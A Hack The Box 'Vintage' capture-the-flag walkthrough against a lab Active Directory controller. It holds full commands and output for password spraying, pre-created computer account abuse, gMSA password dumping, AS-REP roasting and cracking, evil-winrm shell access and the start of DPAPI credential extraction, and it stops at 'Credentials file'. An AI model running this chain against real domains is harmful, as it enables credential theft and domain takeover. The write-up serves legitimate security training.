Skip to content

HTB Vintage Walkthrough — gMSA, DPAPI, & RBCD Exploitation

HTB Vintage Walkthrough Banner

HTB Vintage — Full Walkthrough & Writeup

Vintage is a hard-difficulty Windows Active Directory machine from Hack The Box. This walkthrough detailed the complete attack path, starting from initial domain enumeration using starting credentials, exploiting pre-created computer accounts via pre-Windows 2000 compatibility, abusing managed passwords to compromise a gMSA account, performing AS-REP roasting to crack service accounts, leveraging password reuse to pivot, extracting credentials from DPAPI, and executing Resource-Based Constrained Delegation (RBCD) to achieve domain compromise.


Machine Information

Property Value
OS Windows Server 2019
Difficulty Hard
Domain vintage.htb
DC Hostname DC01
IP Address 10.129.91.223
Starting Credentials P.Rosa / Rosaisbest123
Foothold Account FS01$ / fs01 (Computer Object)

Attack Chain Overview

The following diagram illustrates the complete attack path:

graph TD
    A["P.Rosa<br/>(Starting Credentials)"] -->|LDAP Search| B["Enumerate FS01 Computer Object<br/>(userAccountControl: 4096)"]
    B -->|Pre-Created Computer Password| C["FS01$ Foothold<br/>(fs01)"]
    C -->|bloodyAD msDS-ManagedPassword| D["Extract GMSA01$ Credentials<br/>(gMSA hash)"]
    D -->|Add GroupMember & Disable PreAuth| E["AS-REP Roasting via GMSA01$<br/>(svc_sql Hash)"]
    E -->|John/Hashcat Cracking| F["svc_sql Credentials<br/>(Zer0the0ne)"]
    F -->|Password Spray| G["C.Neri Foothold & DPAPI Abuse<br/>(Extract c.neri_adm / Uncr4ck4bl3P4ssW0rd0312)"]
    G -->|RBCD & S4U2self/S4U2proxy| H["L.BIANCHI_ADM Kerberos Ticket<br/>(Impersonate Domain Admin)"]
    H -->|WMIExec PTH/PTT| I["Domain Admin Command Shell<br/>(Full Domain Takeover)"]

    style A fill:#2d5016,stroke:#4ade80,color:#fff
    style C fill:#4a1d96,stroke:#a78bfa,color:#fff
    style I fill:#7f1d1d,stroke:#ef4444,color:#fff

Reconnaissance

Port scanning

I'll start by running an Nmap service and version scan with the default scripts. This will help identify any open ports and provide information about the services running on them, giving us valuable targets for further exploration.

Save Nmap Outputs

Always save the Nmap output in a text file for future reference. This practice is invaluable, as repeatedly running Nmap can be time-consuming and unnecessary.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ nmap -sC -sV -p- -Pn  --min-rate 10000 -oA nmap_report 10.129.91.223
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-04 14:44 IST
Nmap scan report for 10.129.91.223
Host is up (0.24s latency).
Not shown: 65518 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-12-04 09:14:53Z)
135/tcp   open  msrpc         Microsoft Windows RPC
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49668/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49683/tcp open  msrpc         Microsoft Windows RPC
50220/tcp open  msrpc         Microsoft Windows RPC
58007/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-12-04T09:15:46
|_  start_date: N/A
|_clock-skew: -3s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 128.46 seconds
After reviewing the Nmap scan results, we can confidently conclude that the target is a Domain Controller. This is evident from the presence of port 88/tcp, which is commonly associated with Kerberos authentication. Kerberos is a network authentication protocol used extensively in Active Directory environments, and its use of port 88 is a strong indicator that the system in question is indeed a Domain Controller.

In addition to Kerberos, the scan may reveal other services typically found on Domain Controllers, such as LDAP (port 389/tcp), SMB (port 445/tcp), or DNS (port 53/tcp). These services collectively suggest a Windows-based environment, often pointing to the target being part of an Active Directory infrastructure.

SMB Enumeration

With the credentials provided, we will now attempt to enumerate any interesting SMB shares on the target system using the netexec tool.

To accomplish this, we can utilize the netexec tool, or we could alternatively use tools like smbclient or enum4linux to list available shares and check their access permissions. The goal is to identify any shares that are misconfigured or contain sensitive files.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec smb 10.129.91.223 -u P.Rosa -p 'Rosaisbest123' --shares     
SMB         10.129.91.223  445    10.129.91.223   [*]  x64 (name:10.129.91.223) (domain:10.129.91.223) (signing:True) (SMBv1:False)
SMB         10.129.91.223  445    10.129.91.223   [-] 10.129.91.223\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED

Interestingly, the provided credentials did not work, and we received a STATUS_NOT_SUPPORTED message. This could indicate that the authentication method that we used in netexec command is not supported or the credentials are incorrect for the specific service we are trying to access.

To verify the validity of the credentials, we will now attempt LDAP. LDAP is commonly used for accessing and managing directory information services, including user authentication and group memberships in Active Directory environments. If the credentials are valid, we should be able to query the LDAP service and obtain relevant information, such as user details or group memberships, which will help us confirm the accuracy of the credentials.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec ldap  10.129.91.223 -u P.Rosa -p 'Rosaisbest123'     
LDAP        10.129.91.223  389    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP        10.129.91.223  389    dc01.vintage.htb [-] vintage.htb\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED

Unfortunately, the LDAP attempt did not work either. However, this does not necessarily imply that the credentials are incorrect. It's more likely that the target server is hardened and does not support certain authentication methods, which is a common security measure in well-secured environments.

To proceed, we will retry the authentication attempt, but this time using Kerberos as the authentication method.

To use Kerberos authentication, we simply need to add the -k flag to our command. Additionally, we must ensure that our local hosts file (/etc/hosts) is properly updated to resolve the domain names vintage.htb and dc01.vintage.htb to the target's IP address. This is critical because Kerberos authentication relies on DNS resolution, and improper mappings could lead to authentication failures.

krb5.conf needs to be updated like below:

[libdefaults]
    default_realm = VINTAGE.HTB
    dns_lookup_realm = true
    dns_lookup_kdc = true
[realms]
    VINTAGE.HTB = {
        kdc = DC01.VINTAGE.HTB:88
        admin_server = DC01.VINTAGE.HTB
    master_kdc = DC01.VINTAGE.HTB
    default_domain = VINTAGE.HTB
    }
[domain_realm]
    .VINTAGE.HTB = VINTAGE.HTB
    VINTAGE.HTB = VINTAGE.HTB

Interestingly, both SMB and LDAP are working now. This suggests that the initial failures with these protocols were likely due to server configurations or specific authentication methods not being supported earlier.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec smb dc01.vintage.htb -k -u  'P.Rosa' -p 'Rosaisbest123'
SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\P.Rosa:Rosaisbest123 

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec ldap dc01.vintage.htb -k -u  'P.Rosa' -p 'Rosaisbest123'
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [+] vintage.htb\P.Rosa:Rosaisbest123 

Next, we will use netexec once again to enumerate the users within the domain.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec ldap dc01.vintage.htb -k -u  'P.Rosa' -p 'Rosaisbest123' --users |awk {'print $5'}                                   
[*]
[+]
[*]
-Username-
Administrator
Guest
krbtgt
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm

Password Spray

We now have a list of all the users in the domain, which we can save to a text file.

We will attempt a password spray using p.rosa's password across all user accounts. It’s possible that the same password might be used across multiple accounts in the domain.

Result: The password for p.rosa is not reused across any other accounts.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec ldap dc01.vintage.htb -k -u  usernames.txt -p 'Rosaisbest123' --continue-on-success               
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] vintage.htb\M.Rossi:Rosaisbest123 KDC_ERR_PREAUTH_FAILED
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] vintage.htb\R.Verdi:Rosaisbest123 KDC_ERR_PREAUTH_FAILED
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] vintage.htb\L.Bianchi:Rosaisbest123 KDC_ERR_PREAUTH_FAILED
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] vintage.htb\G.Viola:Rosaisbest123 KDC_ERR_PREAUTH_FAILED
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] vintage.htb\C.Neri:Rosaisbest123 KDC_ERR_PREAUTH_FAILED
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [+] vintage.htb\P.Rosa:Rosaisbest123 
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] vintage.htb\svc_sql:Rosaisbest123 KDC_ERR_CLIENT_REVOKED
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] vintage.htb\svc_ldap:Rosaisbest123 KDC_ERR_PREAUTH_FAILED
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] vintage.htb\svc_ark:Rosaisbest123 KDC_ERR_PREAUTH_FAILED
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] vintage.htb\C.Neri_adm:Rosaisbest123 KDC_ERR_PREAUTH_FAILED
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] vintage.htb\L.Bianchi_adm:Rosaisbest123 KDC_ERR_PREAUTH_FAILED

Bloodhound

At this point, it's time to run our favorite tool: BloodHound, to gather more information and identify potential attack paths within the environment. BloodHound is an effective tool for mapping Active Directory (AD) relationships and permissions, which helps in identifying privilege escalation opportunities, attack paths, and misconfigurations.

By analyzing the data collected from the domain, we can gain valuable insights into user and group memberships, administrative privileges, and other vulnerabilities that may be exploited for further access within the network.

nd AD domain: vintage.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 16 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: FS01.vintage.htb
INFO: Querying computer: dc01.vintage.htb
WARNING: Could not resolve: FS01.vintage.htb: The resolution lifetime expired after 3.103 seconds: Server Do53:10.129.91.223@53 answered The DNS operation timed out.
INFO: Done in 00M 21S
INFO: Compressing output into 20241205105648_bloodhound.zip

BloodHound Analysis

  1. C.NERI is a member of the SERVICEMANAGERS group, which has GenericAll (Full Control) permissions over the following 3 accounts:
    • SVC_ARK
    • SVC_LDAP
    • SVC_SQL

C.NERI - Full Control

  1. C.NERI is also a member of the REMOTE MANAGEMENT USERS security group. This grants her account the ability to perform PowerShell remoting on the target system, making C.NERI a high-value target for further exploitation.

C.NERI - PowerShell Remoting

  1. There is a gMSA account named GMSA01$ that holds GenericAll permissions on the SERVICEMANAGERS security group.

  2. The Domain Computers group has ReadGMSAPassword permissions on the GMSA01$ account. This could allow us to extract the password for this gMSA account.

  3. There is only one computer object, FS01, in the Domain Computers group.

FS01 Computer Object

  1. FS01 is also a member of the PRE-WINDOWS 2000 COMPATIBLE ACCESS security group. This is an interesting finding, as it could indicate legacy configurations or specific permissions that could be leveraged for further attacks.

FS01 - Pre-Windows 2000 Group

Foothold

Pre-Windows 2000 Computers

Since there is only one computer account, FS01, in the environment apart from the Domain Controller, we will focus on gathering more details about this computer. It holds the rights to read the gMSA password for the only gMSA account in the domain, GMSA01$.

Specifically, I will check whether the userAccountControl attribute for FS01 is set to 4096. If it is, this indicates that the password for this computer account is the same as the hostname but in all lowercase letters. In this case, the password would be fs01.

Pre-Windows 2000 Computer Accounts

More details about Pre-Windows 2000 accounts and their significance can be found in this article: Diving into Pre-Created Computer Accounts

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ ldapsearch -H 'ldap://dc01.vintage.htb' -x -b 'dc=vintage,dc=htb' -D 'CN=P.ROSA,CN=USERS,DC=VINTAGE,DC=HTB' -w 'Rosaisbest123' '(&(objectClass=computer)(userAccountControl=4096))' dNSHostName userAccountControl
# extended LDIF
#
# LDAPv3
# base <dc=vintage,dc=htb> with scope subtree
# filter: (&(objectClass=computer)(userAccountControl=4096))
# requesting: dNSHostName userAccountControl 
#

# gMSA01, Managed Service Accounts, vintage.htb
dn: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
userAccountControl: 4096
dNSHostName: gmsa01.vintage.htb

# fs01, Computers, vintage.htb
dn: CN=fs01,CN=Computers,DC=vintage,DC=htb
userAccountControl: 4096
dNSHostName: FS01.vintage.htb

# search reference
ref: ldap://ForestDnsZones.vintage.htb/DC=ForestDnsZones,DC=vintage,DC=htb

# search reference
ref: ldap://DomainDnsZones.vintage.htb/DC=DomainDnsZones,DC=vintage,DC=htb

# search reference
ref: ldap://vintage.htb/CN=Configuration,DC=vintage,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 6
# numEntries: 2
# numReferences: 3

For the FS01$ account, we will attempt the password fs01, as this is the default password convention when the userAccountControl attribute is set to 4096. This value indicates that the password for this account is the same as the hostname in lowercase.

Using netexec once again, we can confirm that the password for the FS01$ computer account is fs01. This aligns with the default password convention, as we suspected, based on the userAccountControl attribute being set to 4096.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec ldap dc01.vintage.htb -k -u 'fS01$' -p 'fs01'                      
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [+] vintage.htb\fS01$:fs01 

Dumping the gMSA hashes

To begin, we will first obtain the Ticket Granting Ticket (TGT) for the FS01$ account using impacket-getTGT.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-getTGT vintage.htb/'fs01$':'fs01' -dc-ip dc01.vintage.htb                                                                     
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in fs01$.ccache


┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ export KRB5CCNAME=fs01\$.ccache

Next, we need to validate if the Kerberos cache is functioning correctly. To do this, we can use netexec.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec ldap dc01.vintage.htb --use-kcache
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [+] vintage.htb\FS01$ from ccache 

Next, using bloodyAD, we will retrieve the password for the GMSA01$ account. The password is stored in the msDS-ManagedPassword attribute of the account.

──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d vintage.htb -u 'fs01$' -k  --dc-ip 10.129.91.223 get object 'GMSA01$' --attr msDS-ManagedPassword 

distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:a317f224b45046c1446372c4dc06ae53
msDS-ManagedPassword.B64ENCODED: rbqGzqVFdvxykdQOfIBbURV60BZIq0uuTGQhrt7I1TyP2RA/oEHtUj9GrQGAFahc5XjLHb9RimLD5YXWsF5OiNgZ5SeBM+WrdQIkQPsnm/wZa/GKMx+m6zYXNknGo8teRnCxCinuh22f0Hi6pwpoycKKBWtXin4n8WQXF7gDyGG6l23O9mrmJCFNlGyQ2+75Z1C6DD0jp29nn6WoDq3nhWhv9BdZRkQ7nOkxDU0bFOOKYnSXWMM7SkaXA9S3TQPz86bV9BwYmB/6EfGJd2eHp5wijyIFG4/A+n7iHBfVFcZDN3LhvTKcnnBy5nihhtrMsYh2UMSSN9KEAVQBOAw12g==

Now, let's obtain the Ticket Granting Ticket (TGT) for the GMSA01$ account. By doing so, we can authenticate and interact with the target system, leveraging the gMSA's credentials for further exploitation or enumeration.

──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-getTGT vintage.htb/'gMSA01$' -hashes aad3b435b51404eeaad3b435b51404ee:a317f224b45046c1446372c4dc06ae53 -dc-ip dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in gMSA01$.ccache

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ export KRB5CCNAME=gMSA01\$.ccache 

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ echo $KRB5CCNAME                 
gMSA01$.ccache

Lateral Movement & Privilege Escalation

Next, using bloodyAD, we will add the GMSA01$ account to the SERVICEMANAGERS security group. By doing this, we will gain full control over the service accounts, as members of the SERVICEMANAGERS group have full control over these accounts.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d vintage.htb -u 'gmsa01$' -k  --dc-ip 10.129.91.223 add groupMember servicemanagers 'gmsa01$'
[+] gmsa01$ added to servicemanagers

AS-REP Roasting

Next, we will disable Kerberos pre-authentication for the service accounts where the gMSA account has GenericAll permissions. Disabling pre-authentication will allow us to get their password hashes using AS-REP Roasting.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d vintage.htb -u 'gmsa01$' -k  --dc-ip 10.129.91.223 add uac SVC_ARK -f DONT_REQ_PREAUTH             
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_ARK's userAccountControl

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d vintage.htb -u 'gmsa01$' -k  --dc-ip 10.129.91.223 add uac SVC_SQL -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_SQL's userAccountControl

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d vintage.htb -u 'gmsa01$' -k  --dc-ip 10.129.91.223 add uac SVC_LDAP -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_LDAP's userAccountControl

Using netexec, we can perform AS-REP Roasting. This technique involves requesting service tickets for accounts that do not require Kerberos pre-authentication.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec ldap dc01.vintage.htb -u usernames.txt -p '' --asreproast output.txt
LDAP        10.129.91.223   389    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP        10.129.91.223   389    dc01.vintage.htb $krb5asrep$23$svc_ldap@VINTAGE.HTB:78df33c5c43fb1bc30cfcf12a1e678ca$14945cb9d5f26692250973741699201894f0f7f0cfff672e40b72e1a3c6c8cc9bc515aee37fc741fde4239e23452896bfca8fac54137d381f10d1afdeee6c120794d0fb7082946cdfcf10ce46e81b4b2aeb1ccbe6b2edd2ba5b90fbb01f4e13ebea4267f40441b755fa5caba90bb697a902a106241abc15f8adadabfb464232ea037d7c1035f4042bb47adff4e465e7e6d93a44e1f3794d3d3b774b5dd71e0cfa4214ba96d4c042c878fd7f5a139e5b8fe56a436c6df4d735199142678d1d2cb9894a2eca1d38338ab69f45e315f6abc4074e3d54dde6d867d43f150a200a8e1acfc53f6455108a6ae26
LDAP        10.129.91.223   389    dc01.vintage.htb $krb5asrep$23$svc_ark@VINTAGE.HTB:69a7cedf22cf6c4eab848aa08d897ba8$541fda70d6b87017727a29419b92e19c76b252a863ecc2dfe6bcbcaa64c6df432f792bcafa982ca3d3509ab4808d516e7e2606c56dfbce739fa35d602cc6e388bfa5c4026afa449217b15fd7e90388c3967b0c29de3333212624fbdd9d9234e95edb759eb2ab124d198f6c0c4f47c799d5d1273e847c9b193a72b7218340922d5e65923323befccf324f12d1ee8eccd3be0d67ad4cc732f1a5a2ca00d4da36f0b1cf47cb94c3db550238453c34119c4a586cd23ac783948cafec06912bf5a986d25ecefc41100963ee1a65511f19dee9b10f7a67a6412c3abaecf5f82b20c0993b34242649f6f5ac45f5

We successfully obtained the hashes for SVC_LDAP and SVC_ARK, but the Kerberos pre-authentication was disabled for three accounts. But the hashes for SVC_SQL are missing. This suggests that the SVC_SQL account is most likely disabled. However, since we have GenericAll permissions over this account, we can enable it and proceed with obtaining its hashes.

odo㉿kali)-[~/hack-the-box/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d vintage.htb -u 'gmsa01$' -k  --dc-ip 10.129.91.223 remove uac svc_sql -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from svc_sql's userAccountControl

Now, we have obtained the hashes for all three accounts: SVC_LDAP, SVC_ARK, and SVC_SQL. With these hashes, we can proceed to crack them offline.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec ldap dc01.vintage.htb -u usernames.txt -p '' --asreproast output.txt
LDAP        10.129.91.223   389    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP        10.129.91.223   389    dc01.vintage.htb $krb5asrep$23$svc_sql@VINTAGE.HTB:8954162d6455c5865c572fa2ed4f2d46$cb5bd0ac2e7723c9fab2a228f2a8ed0ea68c87a7a188f15c14a2924a6ee2309bd8f12c7346c21cce8ad768ee8b15d58ed80cb38d4d9180195bfdad0cf5b043721c535d0f0ac23bcaed8f8cccf4ed62d583da4d6ad5e41d478ae761f811430d306c76166851b1d9c43ec06aaa36bf2cd893cfd1db73444eaa652c86ba03bd6e3dd668e89bd10d5416b652f53fbbacd57f55630350fa76f0b50f11ee39dde3459ec03867279dc050c45442bfd3e30738b3c6ce55133b4905d4d6b2acd1d469b8d221e2260156a088deebc2bc3ae0f2db96b6fc7c7b45a0166a299c3fd24ab1f9e9658ba2d5d67b849fe1ec
LDAP        10.129.91.223   389    dc01.vintage.htb $krb5asrep$23$svc_ldap@VINTAGE.HTB:78df33c5c43fb1bc30cfcf12a1e678ca$14945cb9d5f26692250973741699201894f0f7f0cfff672e40b72e1a3c6c8cc9bc515aee37fc741fde4239e23452896bfca8fac54137d381f10d1afdeee6c120794d0fb7082946cdfcf10ce46e81b4b2aeb1ccbe6b2edd2ba5b90fbb01f4e13ebea4267f40441b755fa5caba90bb697a902a106241abc15f8adadabfb464232ea037d7c1035f4042bb47adff4e465e7e6d93a44e1f3794d3d3b774b5dd71e0cfa4214ba96d4c042c878fd7f5a139e5b8fe56a436c6df4d735199142678d1d2cb9894a2eca1d38338ab69f45e315f6abc4074e3d54dde6d867d43f150a200a8e1acfc53f6455108a6ae26
LDAP        10.129.91.223   389    dc01.vintage.htb $krb5asrep$23$svc_ark@VINTAGE.HTB:69a7cedf22cf6c4eab848aa08d897ba8$541fda70d6b87017727a29419b92e19c76b252a863ecc2dfe6bcbcaa64c6df432f792bcafa982ca3d3509ab4808d516e7e2606c56dfbce739fa35d602cc6e388bfa5c4026afa449217b15fd7e90388c3967b0c29de3333212624fbdd9d9234e95edb759eb2ab124d198f6c0c4f47c799d5d1273e847c9b193a72b7218340922d5e65923323befccf324f12d1ee8eccd3be0d67ad4cc732f1a5a2ca00d4da36f0b1cf47cb94c3db550238453c34119c4a586cd23ac783948cafec06912bf5a986d25ecefc41100963ee1a65511f19dee9b10f7a67a6412c3abaecf5f82b20c0993b34242649f6f5ac45f5

Password Cracking

Using John the Ripper (john), we were able to successfully crack the password for the SVC_SQL account.

svc_sql:'Zer0the0ne'

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ john output.txt -wordlist=/usr/share/wordlists/rockyou.txt                  

Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Zer0the0ne       ($krb5asrep$23$svc_sql@VINTAGE.HTB)     
1g 0:00:01:33 DONE (2024-12-05 14:42) 0.01067g/s 153081p/s 623408c/s 623408C/s  0841079575..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Password Spraying

Since SVC_SQL is a service account, it is possible that the same password has been reused across other accounts—a common mistake made by administrators.

By performing a password spraying attack, we discovered that C.Neri is using the same password. This provides us with an additional credential to escalate our privileges and move laterally within the environment.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec ldap dc01.vintage.htb -k -u usernames.txt -p 'Zer0the0ne' --continue-on-success
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] vintage.htb\M.Rossi:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] vintage.htb\R.Verdi:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] vintage.htb\L.Bianchi:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] vintage.htb\G.Viola:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [+] vintage.htb\C.Neri:Zer0the0ne 
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] vintage.htb\P.Rosa:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] vintage.htb\svc_sql:Zer0the0ne KDC_ERR_CLIENT_REVOKED
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [+] vintage.htb\svc_ldap account vulnerable to asreproast attack 
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [+] vintage.htb\svc_ark account vulnerable to asreproast attack 
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] vintage.htb\C.Neri_adm:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        dc01.vintage.htb 389    dc01.vintage.htb [-] vintage.htb\L.Bianchi_adm:Zer0the0ne KDC_ERR_PREAUTH_FAILED

Gaining the shell

Referring to the BloodHound graphs, we know that C.Neri has the necessary permissions to perform PowerShell remoting on the target system. To leverage this, we can use evil-winrm.

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-getTGT vintage.htb/c.neri:'Zer0the0ne'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in c.neri.ccache

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ export KRB5CCNAME=c.neri.ccache              

┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ evil-winrm -i dc01.vintage.htb -r VINTAGE.HTB

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\C.Neri\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\C.Neri\Desktop> ls


    Directory: C:\Users\C.Neri\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          6/7/2024   1:17 PM           2312 Microsoft Edge.lnk
-ar---         12/5/2024   6:59 AM             34 user.txt


*Evil-WinRM* PS C:\Users\C.Neri\Desktop> cat user.txt
3fd3d51b4f1733a6f14ab2f13c0a9f10
*Evil-WinRM* PS C:\Users\C.Neri\Desktop>

User Flag

User flag is located at C:\Users\C.Neri\Desktop\user.txt.

Lateral Movement & Privilege Escalation - 2

Abusing DPAPI

What is DPAPI?

DPAPI (Data Protection API) is a Windows feature that provides a set of cryptographic services used for securing sensitive data on a local system. It allows applications to encrypt and decrypt data, such as passwords or cryptographic keys, without requiring explicit management of encryption keys. DPAPI automatically handles the encryption and decryption using system or user-specific keys.

Key Points about DPAPI: - Local Encryption: DPAPI encrypts data using keys tied to either the system (machine-level) or the user (user-level) account. This means that only the specific user or the system itself can decrypt the data. - Used for Secure Storage: It’s commonly used by applications to securely store sensitive data such as passwords, credentials, and private keys. - DPAPI and Cache: When a user logs in, Windows may cache certain credentials in DPAPI. If attackers gain access to the system, they may be able to extract these credentials from the DPAPI cache.

We are going to use impacket-dpapi to abuse DPAPI.

Copy the following master keys-

$env:appdata\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\4dbf04d8-529b-4b4c-b4ae-8e875e4fe847

$env:appdata\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b

Credentials file

